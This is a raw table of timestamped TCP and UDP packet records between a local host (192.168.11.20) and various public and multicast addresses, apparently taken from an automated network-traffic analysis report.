Jan 8, 2025 16:19:51.031028032 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:51.031358004 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:51.031367064 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:51.031783104 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:51.032250881 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:51.032320023 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:51.032326937 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:51.074224949 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:51.084450960 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:51.273565054 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:51.273752928 CET	443	60666	23.220.206.35	192.168.11.20
Jan 8, 2025 16:19:51.273884058 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:51.273884058 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:51.273955107 CET	60666	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:19:56.915899038 CET	60667	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:57.241075039 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:57.279089928 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:57.279356003 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:19:57.360420942 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:19:57.930183887 CET	60667	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:19:59.934880972 CET	60667	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:20:03.943634033 CET	60667	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:20:07.269470930 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:20:07.269470930 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:20:07.269470930 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.269505978 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.269534111 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:20:07.269551992 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:20:07.269712925 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:20:07.269722939 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:20:07.270510912 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:20:07.270512104 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:20:07.270512104 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.270559072 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:20:07.270560026 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.270560026 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:20:07.270566940 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.372081995 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:20:07.491657019 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:20:07.633485079 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.634383917 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.634393930 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.634692907 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.635652065 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.635739088 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.636157036 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.636174917 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.687194109 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.903623104 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.903629065 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.903691053 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.903693914 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.903892994 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.904052973 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.904254913 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.904434919 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.904670954 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.904819965 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:07.904983044 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:07.905152082 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.021589041 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.021965981 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.022048950 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.022063017 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.022310019 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.022489071 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.022496939 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.022672892 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.022696972 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.022975922 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.023036957 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.023042917 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.023375988 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.023500919 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.023508072 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.023705006 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.023730040 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024019003 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.024027109 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024199963 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024439096 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.024446011 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024570942 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024646997 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.024651051 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024835110 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024904013 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.024985075 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.025089979 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.025507927 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.025507927 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.156589031 CET	54116	443	192.168.11.20	3.162.174.121
Jan 8, 2025 16:20:08.156603098 CET	443	54116	3.162.174.121	192.168.11.20
Jan 8, 2025 16:20:08.156783104 CET	54116	443	192.168.11.20	3.162.174.121
Jan 8, 2025 16:20:08.156929016 CET	54116	443	192.168.11.20	3.162.174.121
Jan 8, 2025 16:20:08.156935930 CET	443	54116	3.162.174.121	192.168.11.20
Jan 8, 2025 16:20:08.279829979 CET	49847	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:20:08.279850006 CET	443	49847	20.125.209.212	192.168.11.20
Jan 8, 2025 16:20:08.280010939 CET	49847	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:20:08.280184984 CET	49847	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:20:08.280190945 CET	443	49847	20.125.209.212	192.168.11.20
Jan 8, 2025 16:20:08.281414986 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.281425953 CET	443	59846	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.281591892 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.281699896 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.281706095 CET	443	59846	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.338500023 CET	54552	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.338515043 CET	443	54552	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.397794008 CET	443	54116	3.162.174.121	192.168.11.20
Jan 8, 2025 16:20:08.398997068 CET	54116	443	192.168.11.20	3.162.174.121
Jan 8, 2025 16:20:08.399007082 CET	443	54116	3.162.174.121	192.168.11.20
Jan 8, 2025 16:20:08.399399996 CET	443	54116	3.162.174.121	192.168.11.20
Jan 8, 2025 16:20:08.400933027 CET	54116	443	192.168.11.20	3.162.174.121
Jan 8, 2025 16:20:08.401038885 CET	443	54116	3.162.174.121	192.168.11.20
Jan 8, 2025 16:20:08.448139906 CET	54116	443	192.168.11.20	3.162.174.121
Jan 8, 2025 16:20:08.643804073 CET	443	59846	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.644095898 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.644105911 CET	443	59846	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.644362926 CET	443	49847	20.125.209.212	192.168.11.20
Jan 8, 2025 16:20:08.644731998 CET	49847	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:20:08.644741058 CET	443	49847	20.125.209.212	192.168.11.20
Jan 8, 2025 16:20:08.645047903 CET	443	59846	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.645096064 CET	443	49847	20.125.209.212	192.168.11.20
Jan 8, 2025 16:20:08.645272970 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.645534039 CET	49847	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:20:08.645593882 CET	443	49847	20.125.209.212	192.168.11.20
Jan 8, 2025 16:20:08.645741940 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.645853996 CET	443	59846	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.688528061 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:08.688539028 CET	443	59846	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:08.694509029 CET	49847	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:20:08.749353886 CET	59846	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.189244986 CET	55488	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.189279079 CET	443	55488	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.189448118 CET	55488	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.189697981 CET	55488	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.189708948 CET	443	55488	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.556265116 CET	443	55488	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.556611061 CET	55488	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.556621075 CET	443	55488	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.556927919 CET	443	55488	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.557271004 CET	55488	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.557332039 CET	443	55488	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.612122059 CET	55488	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.613614082 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.613640070 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.613785028 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.613985062 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.613995075 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.977010965 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.977387905 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.977396011 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.977684021 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.978310108 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.978399038 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:09.978492975 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:09.978548050 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:10.032958984 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:10.218614101 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:10.218667984 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:10.218796968 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:10.219209909 CET	52029	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:20:10.219218016 CET	443	52029	204.79.197.203	192.168.11.20
Jan 8, 2025 16:20:11.953243017 CET	60667	80	192.168.11.20	94.23.158.211

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 16:17:58.652055979 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:17:59.405539989 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:00.171756029 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:04.558085918 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:05.310321093 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:06.075788021 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:09.351867914 CET	52484	53	192.168.11.20	1.1.1.1
Jan 8, 2025 16:18:10.356169939 CET	52484	53	192.168.11.20	9.9.9.9
Jan 8, 2025 16:18:10.493920088 CET	53	52484	1.1.1.1	192.168.11.20
Jan 8, 2025 16:18:12.299942017 CET	53	52484	9.9.9.9	192.168.11.20
Jan 8, 2025 16:18:25.238164902 CET	50440	53	192.168.11.20	1.1.1.1
Jan 8, 2025 16:18:25.414638042 CET	53	50440	1.1.1.1	192.168.11.20
Jan 8, 2025 16:18:27.677496910 CET	50247	53	192.168.11.20	1.1.1.1
Jan 8, 2025 16:18:27.796878099 CET	53	50247	1.1.1.1	192.168.11.20
Jan 8, 2025 16:18:28.432580948 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:29.195528984 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:29.962109089 CET	137	137	192.168.11.20	192.168.11.255
Jan 8, 2025 16:18:34.464493036 CET	52669	53	192.168.11.20	1.1.1.1
Jan 8, 2025 16:18:34.584431887 CET	53	52669	1.1.1.1	192.168.11.20
Jan 8, 2025 16:18:36.095202923 CET	52670	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.095251083 CET	60290	57249	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.095251083 CET	39040	58652	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.097013950 CET	52671	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.097174883 CET	41291	8089	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.097174883 CET	5703	56430	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.098309994 CET	52672	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.098474979 CET	56036	6946	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:36.098474979 CET	4741	62752	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.101370096 CET	57340	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.101421118 CET	62218	59914	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.101421118 CET	60923	53527	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.102899075 CET	57341	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.103064060 CET	10138	31213	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.103064060 CET	20889	41965	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.104418993 CET	57342	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.104581118 CET	5484	57106	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:38.104581118 CET	57980	58563	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.116730928 CET	51382	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.116779089 CET	32886	57412	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.116779089 CET	352	21661	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.118395090 CET	51383	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.118561029 CET	10770	52516	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.118561029 CET	11108	18797	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.119942904 CET	51384	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.120105028 CET	40405	53334	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:39.120105028 CET	20578	56003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.132111073 CET	54439	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.132158041 CET	25317	8515	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.132158041 CET	12524	14099	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.133666992 CET	54440	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.133826971 CET	59413	37050	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.133826971 CET	18215	36033	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.135214090 CET	54441	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.135379076 CET	4643	25839	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:40.135379076 CET	41281	27024	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.148063898 CET	54442	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.148114920 CET	59706	30281	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.148114920 CET	16279	44138	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.150355101 CET	54443	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.150521040 CET	30857	32554	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.150521040 CET	57307	4689	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.152144909 CET	54444	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.152307034 CET	44900	8204	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:41.152307034 CET	62831	53301	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.162905931 CET	54445	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.163065910 CET	38016	46409	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.163065910 CET	63494	33274	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.164424896 CET	54446	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.164589882 CET	2769	3284	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.164589882 CET	45706	42574	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.166011095 CET	54447	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.166176081 CET	14248	4303	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:42.166176081 CET	49960	26888	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.178306103 CET	54448	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.178469896 CET	1060	3246	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.178469896 CET	53217	57827	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.179826021 CET	54449	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.179990053 CET	45871	21754	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.179990053 CET	31308	17537	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.181371927 CET	54450	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.181536913 CET	48517	48505	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:43.181536913 CET	38977	28349	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.193825006 CET	54451	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.193875074 CET	40725	8405	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.193875074 CET	7357	17154	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.195538044 CET	54452	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.195699930 CET	50461	46866	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.195699930 CET	9766	32060	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.197305918 CET	54453	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.197468042 CET	19726	35634	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:44.197468042 CET	10838	65024	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.210745096 CET	51075	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.210901976 CET	12434	1645	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.210901976 CET	34338	47804	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.214046001 CET	51076	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.214210987 CET	25753	8627	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.214210987 CET	2657	41451	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.217179060 CET	51077	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.217344046 CET	55284	3114	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:45.217344046 CET	19810	4514	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.224493980 CET	50798	50001	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.224539995 CET	14597	59463	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.224539995 CET	25550	22178	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.226052046 CET	50799	50002	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.226284981 CET	24130	38932	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.226284981 CET	40505	30756	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.227590084 CET	50800	50003	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.227590084 CET	57331	7213	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.227751017 CET	64469	2086	192.168.11.20	239.255.102.18
Jan 8, 2025 16:18:46.628694057 CET	63108	1900	192.168.11.20	239.255.255.250
Jan 8, 2025 16:18:47.630508900 CET	63108	1900	192.168.11.20	239.255.255.250
Jan 8, 2025 16:18:48.630878925 CET	63108	1900	192.168.11.20	239.255.255.250
Jan 8, 2025 16:18:49.252336979 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.261918068 CET	54387	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.372814894 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.372931004 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.373079062 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.373087883 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.373483896 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.374795914 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.383362055 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.383450031 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.383699894 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.383764982 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.383812904 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.392083883 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.392230034 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.392276049 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.392282009 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.392635107 CET	54387	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.392916918 CET	54387	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.502814054 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.502821922 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.502826929 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.502856970 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.502862930 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.503022909 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.503330946 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.503607035 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.506880999 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.506887913 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.506892920 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.507256031 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.513896942 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.513904095 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.513927937 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.513932943 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.513994932 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.514003038 CET	443	54387	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.514204025 CET	54387	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.514282942 CET	54387	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.533432007 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.540384054 CET	54387	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.556153059 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.556372881 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.556489944 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.556576014 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.556617975 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.556730986 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.559427977 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.559722900 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.563209057 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.566366911 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.566658974 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.569912910 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.572853088 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.573131084 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.576740026 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.580164909 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.580534935 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.583442926 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.587776899 CET	443	58434	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.588013887 CET	58434	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.590872049 CET	443	58434	23.33.85.196	192.168.11.20
